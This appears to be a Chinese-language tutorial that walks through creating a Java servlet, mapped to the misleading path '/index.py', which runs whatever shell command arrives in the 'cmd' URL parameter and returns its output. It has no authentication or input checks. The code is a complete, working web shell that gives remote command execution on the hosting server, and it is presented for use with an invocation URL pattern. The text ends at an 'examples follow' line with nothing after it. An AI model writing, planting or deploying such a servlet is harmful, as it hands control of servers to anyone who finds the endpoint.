1.首先新建一個JavaWeb專案
新建一個Servlet類這裡以IndexServlet為例：
2.編輯IndexServlet.java檔案

//此處省略package

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import
 
 javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


@WebServlet("/index.py")
public class IndexServlet extends HttpServlet{

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws
 
 ServletException, IOException {
        // TODO Auto-generated method stub
//      super.doGet(req, resp);
        String cmd = req.getParameter("cmd");
        System.out.println(cmd);
        Process process = null;  
        List<String> processList = new ArrayList<String>();  
        try
 
 {  
            if (cmd!=null) {
                process = Runtime.getRuntime().exec(cmd);  
                BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream()));  
                String line = "";  
                while ((line = input.readLine()) != null) {  
                    processList.add(line);  
                }  
                input.close();  
            }
        } catch (IOException e) {  
            e.printStackTrace();  
        }
        String s = "";
        for (String line : processList) {  
//            System.out.println(line);  
            s += line + "\n";
        } 
        if (s.equals("")) {
            resp.getOutputStream().write("null".getBytes());
        }else {
            resp.getOutputStream().write(s.getBytes());
        }
    }
}

3.開啟伺服器，呼叫方式如下：
http://主機名:埠/應用名稱/index.py?cmd=命令名稱
樣例如下：